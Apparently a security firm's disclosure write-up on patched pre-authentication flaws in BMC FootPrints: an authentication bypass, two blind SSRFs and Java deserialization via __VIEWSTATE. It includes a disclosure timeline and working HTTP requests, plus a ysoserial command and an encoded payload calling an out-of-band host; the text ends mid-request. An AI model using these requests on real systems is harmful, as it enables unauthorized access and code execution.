{"uuid": "8b291831-2785-48c5-bce6-8e1ad5925260", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "name": "The Most Organized Threat Actors Use Your ITSM (BMC FootPrints Pre-Auth Remote Code Execution Chains)", "description": "# The Most Organized Threat Actors Use Your ITSM (BMC FootPrints Pre-Auth Remote Code Execution Chains)\nSolarWinds. Ivanti. SysAid. ManageEngine. Giants of the KEV world, all of whom have ITSM side-projects.\n\nITSMs, as a group of solutions, have played pivotal roles in numerous ransomware gang campaigns - not only do they represent code running on a system, but they hold a significant amount of sensitive information. With the ability to track IT inventory, configuration files, and incident reports, threat actor campaigns have never been so organized.\n\n**BMC FootPrints last received a CVE in 2014. Today, we fix that.** Digging into our archives, we're detailing vulnerabilities we discovered and chained in 2025 against (at the time fully patched) BMC FootPrints to achieve Pre-authenticated Remote Code Execution.\n\n**Welcome back to another monologue/watchTowr Labs blogpost.**\n\n![The Horrors](https://labs.watchtowr.com/content/images/2026/03/image-20.png)\n\n### What is BMC FootPrints?\n\nBMC FootPrints is an IT Service Management (ITSM) solution designed to help IT teams manage service requests, incidents, assets, and changes through configurable workflows and an intuitive web interface.\n\nLike most products in this category, it includes rollercoaster-esque excitement, such as:\n\n*   Ticket management\n*   Incident tracking\n*   Workflow automation\n*   Asset management\n*   Reporting\n*   And more\n\nBMC FootPrints is one of two ITSM \u2018product lines\u2019 that BMC offers:\n\n*   Helix, and\n*   FootPrints\n\nFootPrints has kept a fairly low profile, with minimal CVEs assigned to the product itself; the most recent was in 2014 (CVE-2025-24813\u00a0is for Tomcat, don't @ us). A tell?\n\nIf we take that \"tell\", and combine it with an end-user comment we found on HackForums;\n\n&gt; \u201cBMC Footprints has been, for the most part, solid. We have been using it for a few years now, and have recently updated V11. We are currently in the process of upgrading to V12, and we are told that it is a total rewrite and should improve the experience as it no longer written in an outdated programming language with heavy reliance on JRE. We were disappointed to hear that there is no way to do a straight upgrade from V11 to V12.\"\n\nWell, you can see where this is going.\n\n### What Did You Do Now, watchTowr?\n\nTo cut to the chase - in today's blog post, we\u2019ll be walking through four (4) distinct vulnerabilities, our discovery process, and their eventual chaining.\n\n*   CVE-2025-71257 / WT-2025-0069 - Authentication Bypass\n*   CVE-2025-71258 / WT-2025-0070 - Server-Side Request Forgery\n*   CVE-2025-71259 / WT-2025-0071 - Server-Side Request Forgery\n*   CVE-2025-71260 / WT-2025-0072 - Deserialization of Untrusted Data (RCE)\n\n![](https://labs.watchtowr.com/content/images/2026/03/image-4.png)\n\nThe following branches/versions were identified to be affected:\n\n*   BMC FootPrints 20.20.02 to 20.24.01.001\n\n### Disclosure and Remediation Historical Timeline Originally Written On Parchment It Was So Long Ago\n\nWe've moved the timeline here. Why? No reason.\n\n\n\n* Date: 6th June 2025\n  * Detail: watchTowr discloses WT-2025-0069, WT-2025-0070, WT-2025-0071, WT-2025-0072 to BMC\n* Date: 6th June 2025\n  * Detail: watchTowr hunts across client attack surfaces for exposure\n* Date: 9th June 2025\n  * Detail: watchTowr provides the Aspectjweaver RCE gadget to BMC\n* Date: 12th June 2025\n  * Detail: BMC acknowledge receipt of reports\n* Date: 16th June 2025\n  * Detail: BMC confirms successful reproduction of all vulnerabilities except WT-2025-0072 (RCE) and requests more information\n* Date: 20th June 2025\n  * Detail: watchTowr provides a point and click Python PoC to reproduce the Authentication Bypass (WT-2025-0069) and Remote Code Execution chain (WT-2025-0072)\n* Date: 20th June 2025\n  * Detail: BMC report receiving the PoC and will report back\n* Date: 1st July 2025\n  * Detail: watchTowr asks for update on the RCE reproduction\n* Date: 3rd July 2025\n  * Detail: BMC report issues in reproducing the RCE and ask for more clarification on watchTowr environment \n* Date: 3rd July 2025\n  * Detail: watchTowr provides screenshot evidence of the exploit chain\n* Date: 4th July 2025\n  * Detail: BMC request hash of the web.xml in the watchTowr environment\n* Date: 5th July 2025\n  * Detail: watchTowr provides hash of various files including the installer of the FootPrints environment\n* Date: 18th July 2025\n  * Detail: watchTowr requests an update\n* Date: 1st August 2025\n  * Detail: watchTowr requests an update\n* Date: 29th August 2025\n  * Detail: BMC acknowledges issues with emails and will report back soon\n* Date: 2nd September 2025\n  * Detail: BMC report back that they were able to reproduce the RCE and all four issues have been fixed! Hot Fixes Released: 20.20.02, 20.20.03.002, 20.21.01.001, 20.21.02.002, 20.22.01, 20.22.01.001, 20.23.01, 20.23.01.002, 20.24.01\n* Date: 2nd March 2026\n  * Detail: CVEs assigned:  \u2022 CVE-2025-71257 / WT-2025-0069 : Authentication Bypass  \u2022 CVE-2025-71258 / WT-2025-0070 : Server-Side Request Forgery  \u2022 CVE-2025-71259 / WT-2025-0071 : Server-Side Request Forgery  \u2022 CVE-2025-71260 / WT-2025-0072 : Deserialization of Untrusted Data (RCE)\n* Date: 18th March 2026\n  * Detail: watchTowr remembers this post exists, cries, and publishes research\n\n\nSigh.\n\n### Back To The Story\n\nAs always with any research, we set ourselves creative, unique, and clear goals - and withheld food until they were achieved.\n\n![](https://labs.watchtowr.com/content/images/2026/03/image-5.png)\n\n*   Can we achieve Remote Code Execution?\n    *   Can we achieve Remote Code Execution?\n        *   Can we achieve Remote Code Execution?\n            *   Can we achieve Remote Code Execution?\n                *   Can we achieve Remote Code Execution without authentication?\n\n### Diving In\n\nWith BMC FootPrints easily installed on a Windows Server, we\u2019re off to the races.\n\nUpon first installation, a browser is launched to the main application entry point located at [`http://127.0.0.1:8080/footprints/servicedesk`](http://127.0.0.1:8080/footprints/servicedesk?ref=labs.watchtowr.com) .\n\n![](https://labs.watchtowr.com/content/images/2026/03/image-18.png)\n\nWhilst the supporting Apache Tomcat server is installed in its own directory - `C:\\\\Program Files\\\\Apache Software Foundation\\\\Tomcat 9.0` - the expanded `war` file containing the application source code was found in `C:\\\\Program Files\\\\BMC Software\\\\FootPrints\\\\web`.\n\nAs we\u2019ve covered in previous research, Tomcat applications tend to follow a familiar structure during reverse engineering. A `web.xml` file defines servlet routes, `jsp` files execute as server-side scripts, and `jar` and `class` files contain the compiled Java source code behind the application.\n\nTo avoid friction later in the process, we extracted all files upfront, making decompilation and remote debugging significantly easier.\n\n### Authentication Bypass - CVE-2025-71257/WT-2025-0069\n\nWhen attempting to directly access the `jsp` files in the web root, we quickly discovered a filter in place that redirected all requests to the login page.\n\nThe following is an example of an unauthenticated request, which is caught by the \u2018filter\u2019 and redirects us:\n\n```\nGET /footprints/servicedesk/watchTowr HTTP/1.1\nHost: {{Hostname}}\n\n```\n\n\n```\nHTTP/1.1 302 \nCache-Control: private\nSet-Cookie: JSESSIONID=9CAD4CA3D09E640B4AE3DCDCE2116B47; Path=/footprints/servicedesk; HttpOnly\nX-XSS-Protection: 1; mode=block\nX-Frame-Options: SAMEORIGIN\nX-Content-Type-Options: nosniff\nLocation: http://{{Hostname}}:8080/footprints/servicedesk/login.html\nContent-Length: 0\nDate: Tue, 17 Jun 2025 08:36:00 GMT\n\n```\n\n\nIt behaved like a whitelist filter, suggesting the logic was declared elsewhere using a regex-style pattern. Our goal became identifying which endpoints could still be reached pre-authentication while satisfying that filter logic.\n\nThis was quickly traced to `deployment/non-version-specific/conf/footprints-application-beans.xml`.\n\nThere, we can see a filter configured to intercept all request URIs via `/**`:\n\n```\n    \n    &lt;security:intercept-url pattern=\"/**\"\n      access=\"isAuthenticated()\" requires-channel=\"any\" /&gt;\n\n```\n\n\nThe file contains a total of 58 filters - a non-trivial amount to work through, especially given that several are wildcarded and expose an even broader attack surface.\n\nFrom a post-authentication perspective, the attack surface is substantial. At this stage, however, we\u2019re constrained by the initial `isAuthenticated()` filter - meaning even servlets explicitly declared in `web.xml` remain unreachable to unauthenticated users.\n\nIn general, the filters look like this:\n\n```\n\n  &lt;security:http pattern=\"/survey/**\" auto-config=\"false\" use-expressions=\"true\" disable-url-rewriting=\"false\"\n    entry-point-ref=\"defaultAuthenticationEntryPoint\" security-context-repository-ref=\"securityContextRepository\"&gt;   \n\n    &lt;security:headers&gt;\n         &lt;security:frame-options disabled=\"true\"&gt;&lt;/security:frame-options&gt;\n    &lt;/security:headers&gt;\n    \n    \n    &lt;security:intercept-url pattern=\"/survey/**\"\n      access=\"isAuthenticated()\" requires-channel=\"any\" /&gt;\n\n    \n    &lt;security:session-management session-fixation-protection=\"none\"/&gt;\n    \n    &lt;security:csrf disabled=\"true\"/&gt;\n    \n    \n    &lt;security:custom-filter before=\"ANONYMOUS_FILTER\" ref=\"surveyAuthenticationFilter\"/&gt;\n    &lt;security:custom-filter before=\"SECURITY_CONTEXT_FILTER\" ref=\"systemSecurityContextPersistenceFilter\" /&gt;\n    &lt;security:custom-filter after=\"SESSION_MANAGEMENT_FILTER\" ref=\"customSystemSessionManagementFilter\" /&gt;\n    &lt;security:custom-filter position=\"LOGOUT_FILTER\" ref=\"logoutFilter\" /&gt;\n  &lt;/security:http&gt;\n  \n  \n  &lt;security:http pattern=\"/portal/set/**\" auto-config=\"false\" use-expressions=\"true\" disable-url-rewriting=\"false\" &lt;--- [0]\n    entry-point-ref=\"defaultAuthenticationEntryPoint\" security-context-repository-ref=\"securityContextRepository\"&gt;   \n\n    &lt;security:headers&gt;\n         &lt;security:frame-options disabled=\"true\"&gt;&lt;/security:frame-options&gt;\n    &lt;/security:headers&gt;\n\n    \n    &lt;security:intercept-url pattern=\"/portal/set/**\"\n      access=\"isAuthenticated()\" requires-channel=\"any\" /&gt;\n\n```\n\n\nGiven the above, looking at `[0]`, we can see that requests matching the pattern `/portal/set/**` pass through the `securityContextRepository` filter - potentially allowing pre-authenticated access.\n\nGiven the limited reachable surface, we decided to work through each filter and endpoint one by one, just in case something had been exposed unintentionally.\n\nDue diligence, and all that.\n\n&gt; It really can\u2019t be overstated - when researching products with large codebases and complex security filter chains, it\u2019s very easy to get lost in the weeds. And we regularly do. Sometimes you just need to trial-and-error the endpoints against a live instance. As such, we systematically attempted to request each endpoint and filter pattern to observe any differentials that might inspire a deeper investigation.\n\nWhile the majority of the attack surface remained unreachable without authentication or satisfying the `isAuthenticated()` filter, this systematic approach did lead us to one particular filter - and its matching endpoint - that stood out immediately.\n\n```\nsecurity:http pattern=\"/passwordreset/request/**\" auto-config=\"false\" use-expressions=\"true\" disable-url-rewriting=\"false\"\n    entry-point-ref=\"defaultAuthenticationEntryPoint\" security-context-repository-ref=\"securityContextRepository\"&gt;   \n\n```\n\n\nIt stood out because, when the pattern was satisfied, the server returned a security token cookie (`SEC_TOKEN`) in the response headers.\n\n```\nGET /footprints/servicedesk/passwordreset/request/ HTTP/1.1\nHost: {{Hostname}}\n\n```\n\n\n```\nHTTP/1.1 404 \nCache-Control: private\nSET-COOKIE: SEC_TOKEN=wGCyXHdPS-slXYwxD5&amp;rtjHQ1&amp;Y1xBimP0dEJ-TjOCNMJV-ULL; Domain={{Hostname}}; Path=/footprints/servicedesk/; HttpOnly\nX-XSS-Protection: 1; mode=block\nX-Content-Type-Options: nosniff\nContent-Type: text/html;charset=utf-8\nContent-Language: en\nContent-Length: 683\nDate: Tue, 17 Jun 2025 08:37:58 GMT\n\n&lt;html lang=\"en\"&gt;&lt;head&gt;&lt;title&gt;HTTP Status 404 \u2013 Not Found&lt;/title&gt;\n\n```\n\n\nIt\u2019s important to stress that no other endpoint or filter returned this `SEC_TOKEN`, which immediately raised a few questions for us - what exactly was this token used for, and how was it being set?\n\nFollowing the code path, we were able to trace an additional filter in the call chain:\n\n`com/numarasoftware/footprints/application/web/filter/GenericGuestAuthenticationFilter.class`\n\n```\n public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {\n        boolean applyAnonymousForThisRequest = false;\n        HttpServletRequest request = (HttpServletRequest)req;\n        HttpServletResponse response = (HttpServletResponse)res;\n        if (request.getAttribute(\"__system_guest_filter_applied\") != null) {\n            chain.doFilter(request, response);\n        } else {\n            request.setAttribute(\"__system_guest_filter_applied\", Boolean.TRUE);\n\n            try {\n                applyAnonymousForThisRequest = this.applyGuestForThisRequest(request, response); &lt;--- [0]\n            } catch (AuthenticationException var8) {\n                AuthenticationException ex = var8;\n                this._failureHandler.onAuthenticationFailure(request, response, ex);\n                return;\n            }\n\n            if (!this.isAlreadyLoggedIn()) {\n                if (!this.hasLoginRequired(request) &amp;&amp; applyAnonymousForThisRequest) { &lt;--- [1]\n                    Authentication authentication = SecurityContextHolder.getContext().getAuthentication();\n                    if (!SystemSessionContext.hasValidSession()) {\n                        this.createGuestAuthentication(request, response, authentication); &lt;--- [2]\n                        LOG.debug(\"Populated SecurityContextHolder with anonymous token: '\" + SecurityContextHolder.getContext().getAuthentication() + \"'\", new Object[0]);\n                    } else {\n                        LOG.debug(\"SecurityContextHolder not populated with anonymous token because it already contained: '\" + authentication + \"'\", new Object[0]);\n                    }\n                } else if (SystemSessionContext.hasValidSession()) {\n                    SystemSessionInfo sessionInfo = SystemSessionContext.getSessionInfo();\n                    if (sessionInfo.isGuestUserSession()) {\n                        this._sessionStrategy.onInvalidAuthentication();\n                    }\n                }\n            }\n\n            chain.doFilter(req, res);\n        }\n    }\n\n```\n\n\nLooking at the above, `[0]` shows the point where the code checks for `applyAnonymousForThisRequest` and `applyGuestForThisRequest`.\n\nThere are five implementations of this logic:\n\n![](https://labs.watchtowr.com/content/images/2026/03/image-8.png)\n\nThis makes sense. Looking back at the patterns and filters defined in the earlier configuration file, we can see that `passwordResetRequestAuthenticationFilter` is one of the filters explicitly configured:\n\n```\n    \n    &lt;security:intercept-url pattern=\"/passwordreset/request/**\"\n      access=\"isAuthenticated()\" requires-channel=\"any\" /&gt;\n\n    \n    &lt;security:session-management session-fixation-protection=\"none\"/&gt;\n    \n    &lt;security:csrf disabled=\"true\"/&gt;\n    \n    \n    &lt;security:custom-filter before=\"ANONYMOUS_FILTER\" ref=\"passwordResetRequestAuthenticationFilter\"/&gt;]\n    &lt;security:custom-filter before=\"SECURITY_CONTEXT_FILTER\" ref=\"systemSecurityContextPersistenceFilter\" /&gt;\n    &lt;security:custom-filter after=\"SESSION_MANAGEMENT_FILTER\" ref=\"customSystemSessionManagementFilter\" /&gt;\n    &lt;security:custom-filter position=\"LOGOUT_FILTER\" ref=\"logoutFilter\" /&gt;\n  &lt;/security:http&gt;  \n  \n\n```\n\n\nFollowing this code block, we can see the boolean being evaluated at `[1]`, before execution flows into `createGuestAuthentication` at `[2]`.\n\nFrom there, several additional checks are performed across multiple classes, eventually leading to the cookie being set. Which naturally led to the most important question - what, exactly, does this token allow us to do?\n\nOur first litmus test was simple: determine whether this `SEC_TOKEN` granted any form of authentication or session state. In other words, could it satisfy the original `isAuthenticated()` check from the catch-all filter, and in doing so allow us to bypass an authentication boundary?\n\nOnly one way to find out:\n\n```\nGET /footprints/servicedesk/watchTowr HTTP/1.1\nHost: {{Hostname}}\nCookie: SEC_TOKEN=kziK9aCBHIyTtYDt3SNPpN_or+AUyF9GamRWPowwMWKXMF7Rqr\n\n```\n\n\n```\nHTTP/1.1 404 \nCache-Control: private\nX-XSS-Protection: 1; mode=block\nX-Frame-Options: SAMEORIGIN\nX-Content-Type-Options: nosniff\nContent-Type: text/html;charset=utf-8\nContent-Language: en\nContent-Length: 683\nDate: Tue, 17 Jun 2025 08:47:42 GMT\n\n&lt;html lang=\"en\"&gt;&lt;head&gt;&lt;title&gt;HTTP Status 404 \u2013 Not Found&lt;/title&gt;&lt;style type=\"text/css\"&gt;body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}&lt;/style&gt;&lt;/head&gt;&lt;body&gt;<h1>HTTP Status 404 \u2013 Not Found</h1><hr><p><b>Type</b> Status Report</p><p><b>Description</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p><hr><h3>Apache Tomcat/9.0.106</h3>&lt;/body&gt;&lt;/html&gt;\n\n```\n\n\nAt this point, some of you are probably wondering what the significance of the above is. It\u2019s just a `404`, right? A standard not-found response. Easy to dismiss, move on, test the next endpoint, nothing to see here.\n\n**Not quite - this is enterprise software, it\u2019s different!**\n\nIt\u2019s behavioral proof that we\u2019ve successfully stepped into a privileged session and bypassed the catch-all filter that would otherwise have redirected us to the login page.\n\n![](https://labs.watchtowr.com/content/images/2026/03/image-9.png)\n\n### Fox In The Hen House, Fox In The Hen House!\n\nLet\u2019s take stock of where we are.\n\nDuring the initial recon phase, the application\u2019s exposed attack surface is heavily constrained by the security filter patterns. Pre-authentication, the number of reachable endpoints and APIs is drastically limited.\n\nWith this new `SEC_TOKEN` in hand - and the redirect filter effectively bypassed - the reachable surface expands dramatically. What was a tightly restricted set of endpoints now opens up into a much broader range of application functionality.\n\nIt\u2019s time to enumerate.\n\nUsing the `SEC_TOKEN`, we work back through the API systematically and quickly find several straightforward wins - including a handful of medium-impact issues that we won\u2019t dive into the root cause analysis for here.\n\n### Blind SSRF - CVE-2025-71258/WT-2025-0070\n\n```\nGET /footprints/servicedesk/import/searchWeb?url=https://{{external-host}}&amp;dataEncoding=x HTTP/1.1\nHost: {{Hostname}}\nCookie: SEC_TOKEN=87x0EkX5BFHyWaktfxK5gasnc_LfwWtYsCm5yIorFuwaexEtaK; \n\n```\n\n\n### Blind SSRF - CVE-2025-71259/WT-2025-0071\n\n```\nGET /footprints/servicedesk/externalfeed/RSS?feedUrl=https://{{external-host}} HTTP/1.1\nHost: {{Hostname}}\nCookie: SEC_TOKEN=87x0EkX5BFHyWaktfxK5gasnc_LfwWtYsCm5yIorFuwaexEtaK; \n\n```\n\n\nUnfortunately, though, while \u2018vulnerabilities\u2019, we haven\u2019t met our original research goal - and thus we are not allowed to eat.\n\nThe reality is that blind SSRF vulnerabilities barely scratch the surface when it comes to satisfying vulnerabilities - we\u2019re still craving mayhem.\n\n### Remote Code Execution WT-2025-0072 - CVE-2025-71260\n\nHaving blasted through the API without achieving our goal, we turned our attention back to the broader application architecture.\n\nThe application runs on Tomcat, and as expected, there is a `web.xml` containing servlet definitions - and with them, additional potential routes.\n\nMore specifically, in `C:\\\\Program Files\\\\BMC Software\\\\FootPrints\\\\web\\\\WEB-INF\\\\web.xml`, we can see a number of URL patterns mapped to servlets of interest.\n\nFor example:\n\n```\n    &lt;servlet-mapping&gt;\n        &lt;servlet-name&gt;VmwDynamicServlet&lt;/servlet-name&gt;\n        &lt;url-pattern&gt;/aspnetconfig&lt;/url-pattern&gt;\n    &lt;/servlet-mapping&gt;\n\n```\n\n\nThe URI `/aspnetconfig` maps to the `VmwDynamicServlet` servlet, which in turn maps to the class `GhDynamicHttpServlet`:\n\n```\n    &lt;servlet&gt;\n        &lt;servlet-name&gt;VmwDynamicServlet&lt;/servlet-name&gt;\n        &lt;servlet-class&gt;GhDynamicHttpServlet&lt;/servlet-class&gt;\n    &lt;/servlet&gt;\n\n```\n\n\n![](https://labs.watchtowr.com/content/images/2026/03/image-10.png)\n\nBefore diving into the darker depths of the code, as mentioned earlier, it\u2019s important to play with your food before deconstructing it.\n\nWe decided to issue a request to our live instance first just to see what the endpoint actually looked like in practice.\n\nSometimes, you need to taste with your eyes:\n\n```\nGET /footprints/servicedesk/aspnetconfig/ HTTP/1.1\nHost: {{Hostname}}\nCookie: SEC_TOKEN=87x0EkX5BFHyWaktfxK5gasnc_LfwWtYsCm5yIorFuwaexEtaK;\n\n```\n\n\n```\nHTTP/1.1 200 \nCache-Control: private\nSet-Cookie: JSESSIONID=4CC85B0B94E801ADA5C5DAFC865244A7; Path=/footprints/servicedesk; HttpOnly\nCache-Control: private\nX-XSS-Protection: 1; mode=block\nX-Frame-Options: SAMEORIGIN\nX-Content-Type-Options: nosniff\nContent-Type: text/html;charset=utf-8\nContent-Length: 1396\nDate: Wed, 03 Sep 2025 02:32:04 GMT\nKeep-Alive: timeout=20\nConnection: keep-alive\n\n\"&gt;\n\n&lt;html xmlns=\"&lt;http://www.w3.org/1999/xhtml&gt;\" &gt;\n&lt;head&gt;&lt;title&gt;\n\tASP.Net Web Application Administration\n&lt;/title&gt;&lt;/head&gt;\n&lt;body&gt;\n    &lt;form method=\"post\" action=\"SecurError.aspx\" id=\"form1\"&gt;\n&lt;script type=\"text/javascript\"&gt;\n//\n&lt;/script&gt;\n&lt;div&gt;\n\t&lt;input type=\"hidden\" name=\"__VIEWSTATE\" id=\"__VIEWSTATE\" value=\"rO0ABXNyACJzeXN0ZW0uV2ViLlVJLlBhZ2UkU3RhdGVTZXJpYWxpemVyAAAAAADK/+4MAAB4cgANc3lzdGVtLk9iamVjdAAAAAAAyv/uAwAAeHB3AwwAAHg=\" /&gt;\n&lt;/div&gt;\n    &lt;div style=\"font-weight: bold; font-size: 11pt;\"&gt;\n        By default, the Web Site Administration Tool may only be accessed locally. \n        To enable accessing it from a remote computer, open the Web.config file, add the key <br>\n        allowRemoteConfiguration to the appSettings section, and set its value to true: <br>\n        <pre>        &amp;lt appSettings &amp;gt \n              &amp;lt/ add key=\"allowRemoteConfiguration\" value=\"True\" /&amp;gt \n        &amp;lt/ appSettings &amp;gt\n        </pre>\n    &lt;/div&gt;\n    &lt;/form&gt;\n&lt;/body&gt;\n&lt;/html&gt;\n\n\n```\n\n\nNow, for those following along at home who may not be avid readers, we want to call back to our [IBM Operational Decision Manager RCE](https://labs.watchtowr.com/double-k-o-rce-in-ibm-operation-decision-manager/), research - there\u2019s an important pattern here in the `__VIEWSTATE` response: `rO0ABXN`!\n\n![](https://labs.watchtowr.com/content/images/2026/03/image-11.png)\n\nThis pattern is the Base64 prefix of a Java object. If we decode the value, we can immediately see the telltale signs of a serialized Java object:\n\n```\n\u00ac\u00edsr\"system.Web.UI.Page$StateSerializer\u00ca\u00ff\u00eexrsystem.Object\u00ca\u00ff\u00eexpwx\n\n```\n\n\nAt this point, our interest is very much piqued. You can probably already see where this is heading - and yes, we\u2019ll get there.\n\nHold on tight for deserialization.\n\n### Strap In Folks!\n\nThe appliance\u2019s response exposes a raw Java object in the `__VIEWSTATE` parameter, which immediately stands out.\n\n`__VIEWSTATE` is typically associated with .NET applications as we\u2019re sure you know - but here, we\u2019re dealing with Java.\n\nSigh.. Mono\u2026\n\n&gt; Mono is an **open-source implementation of Microsoft\u2019s .NET Framework** that runs across multiple platforms (Linux, macOS, Windows, BSD, etc.). It allows you to build and run applications written in C#, F#, and other .NET languages outside of Windows. Mono includes a C# compiler and a Common Language Runtime (CLR) that mimics Microsoft\u2019s .NET runtime.\n\nThat would also make sense given the presence of `.aspx` files in the filesystem.\n\nAnd, of course, `__VIEWSTATE` is no stranger to [deserialization research in the .NET world](https://soroush.me/blog/exploiting-deserialisation-in-asp-net-via-viewstate?ref=labs.watchtowr.com) - especially when the keys used to protect its value are known. The more interesting question here is how that behaviour translates when the implementation is Mono-based, but the underlying application logic is still rooted in Java.\n\nWhen testing for deserialization, it\u2019s important that we begin with an object that relies on classes already present on the target\u2019s classpath. That can vary from product to product, but one gadget chain that is almost always worth reaching for first is `URLDNS`.\n\n`URLDNS` triggers a DNS lookup to attacker-controlled infrastructure, making it an ideal low-impact way to confirm that deserialization is taking place without immediately reaching for full code execution.\n\nYou can generate a payload for this using the following [ysoserial](https://github.com/frohoff/ysoserial?ref=labs.watchtowr.com) command:\n\n```\nJava -jar ysoserial.jar URLDNS \"https://{{external-url}}\"| base64 \n\n```\n\n\nWhen we first tried supplying the object via a `GET` request, we immediately ran into a few observations:\n\n1.  The mere presence of the `__VIEWSTATE` parameter triggered a `302` response, redirecting us to an error page.\n2.  The object was not deserialized, and no DNS query was observed hitting our infrastructure.\n3.  Switching to `POST` didn\u2019t help either - regardless of request structure, the server consistently responded with `403 Forbidden`.\n\nLet\u2019s try..\n\n```\nGET /footprints/servicedesk/aspnetconfig/CreateUser.aspx?__VIEWSTATE=rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QALDR0eTkxaXByZTZqbG51bHdoZm1ueW4xOW0wc3VnazQ5Lm9hc3RpZnkuY29tdAAAcQB+AAV0AAVodHRwc3B4dAA0aHR0cHM6Ly80dHk5MWlwcmU2amxudWx3aGZtbnluMTltMHN1Z2s0OS5vYXN0aWZ5LmNvbXg= HTTP/1.1\nHost: {{Hostname}}\nCookie: SEC_TOKEN=87x0EkX5BFHyWaktfxK5gasnc_LfwWtYsCm5yIorFuwaexEtaK; \n\n\n```\n\n\n```\nHTTP/1.1 302 \nCache-Control: private\nSet-Cookie: JSESSIONID=E014BB23BFB56540DC2FDFE9C0EB3778; Path=/footprints/servicedesk; HttpOnly\nLocation: /footprints/servicedesk/aspnetconfig/404.htm?aspxerrorpath=/footprints/servicedesk/aspnetconfig/CreateUser.aspx\nCache-Control: private\nX-XSS-Protection: 1; mode=block\nX-Frame-Options: SAMEORIGIN\nX-Content-Type-Options: nosniff\nContent-Type: text/html;charset=utf-8\nContent-Length: 226\nDate: Wed, 03 Sep 2025 02:46:55 GMT\nKeep-Alive: timeout=20\nConnection: keep-alive\n\n&lt;html&gt;&lt;head&gt;&lt;title&gt;Object moved&lt;/title&gt;&lt;/head&gt;&lt;body&gt;\n<h2>Object moved to <a href=\"/footprints/servicedesk/aspnetconfig/404.htm?aspxerrorpath=/footprints/servicedesk/aspnetconfig/CreateUser.aspx\">here</a></h2>\n&lt;/body&gt;&lt;html&gt;\n\n```\n\n\nSigh\u2026\u2026\n\n### Debug For Glory!\n\nUndeterred by the lack of deserialization/our own skill issues, we turned to code - and our trusty debugger - for answers.\n\nFocusing on `Mainsoft/Web/Hosting/BaseFacesStateManager.class`, we quickly located the point where the `__VIEWSTATE` request parameter is handled.\n\n```\n    protected final Object GetStateFromClient(FacesContext facesContext, String viewId, String renderKitId) {\n        Object map = null;\n        Object s1 = null;\n        Object buffer = null;\n        InputStream bytearrayinputstream = null;\n        ObjectInputStream inputStream = null;\n        Object state = null;\n        map = facesContext.getExternalContext().getRequestParameterMap();\n        s1 = StringStaticWrapper.StringCastClass(map.get(VIEWSTATE)); &lt;---- [0]\n        buffer = Convert.FromBase64String((String)s1); &lt;---- [1]\n        bytearrayinputstream = access$200(TypeUtils.ToSByteArray(buffer)); &lt;---- [2]\n        inputStream = access$300(bytearrayinputstream); \n        state = inputStream.readObject(); &lt;---- [3]\n        inputStream.close();\n        bytearrayinputstream.close();\n        return state;\n    }\n\n```\n\n\nThis function is a textbook example of how deserialization is taking place:\n\n*   `[0]` - The request parameter map retrieves the `__VIEWSTATE` value and assigns it to `s1`\n*   `[1]` - That value is then decoded from Base64 into a buffer\n*   `[2]` - The buffer is read into a byte array\n*   `[3]` - The byte array is passed into `readObject()`, where deserialization occurs\n\nUnfortunately, for reasons not yet obvious, the request still fails - because `s1` is never actually populated.\n\nAs shown below, the `__VIEWSTATE` parameter resolves to `null` :\n\n![](https://labs.watchtowr.com/content/images/2026/03/image-12.png)\n\nDigging further into how request parameters are parsed, we followed execution into `getRequestParameterMap()`:\n\n```\npublic Map getRequestParameterMap() {\n    Map CS$0$0000 = null;\n    Object var10000 = this._requestParameterMap;\n    if (this._requestParameterMap == null) {\n        BaseExternalContext.RequestParameterMap var2;\n        this._requestParameterMap = var2 = access$000(this.get_Context().get_Request().get_Form());\n        var10000 = var2;\n    }\n\n    return (Map)var10000;\n}\n\n```\n\n\nAnd finally into `get_Form()`, where we can see that request variables are only processed when one of two content types is present at `[0]` and `[1]`:\n\n```\npublic final NameValueCollection get_Form() {\n    if (this.form == null) {\n        this.form = new WebROCollection();\n        this.files = new HttpFileCollection();\n        if (this.IsContentType(\"multipart/form-data\", true)) {  &lt;---- [0]\n            this.LoadMultiPart();\n        } else if (this.IsContentType(\"application/x-www-form-urlencoded\", true)) {  &lt;---- [1]\n            this.LoadWwwForm();\n        }\n\n        this.form.Protect();\n    }\n\n```\n\n\nNow, we\u2019d be lying if we said we figured this part out from the code first, rather than by button-mashing our super-finisher until we managed to get a value into the `s1` parameter.\n\nThat said, we ultimately identified two ways to achieve our goal.\n\nThe first is by sending the request with a `Content-Type` header of `multipart/form-data` - (ahem ahem something we actually discovered while writing this blog post ahem ahem):\n\n```\nPOST /footprints/servicedesk/aspnetconfig/ HTTP/1.1\nHost: {{Hostname}}\nCookie: SEC_TOKEN=87x0EkX5BFHyWaktfxK5gasnc_LfwWtYsCm5yIorFuwaexEtaK; \nContent-Type: multipart/form-data; boundary=----WebKitFormBoundarywwyEWsOTbKQLLJ1P\nContent-Length: 600\n\n------WebKitFormBoundarywwyEWsOTbKQLLJ1P\nContent-Disposition: form-data; 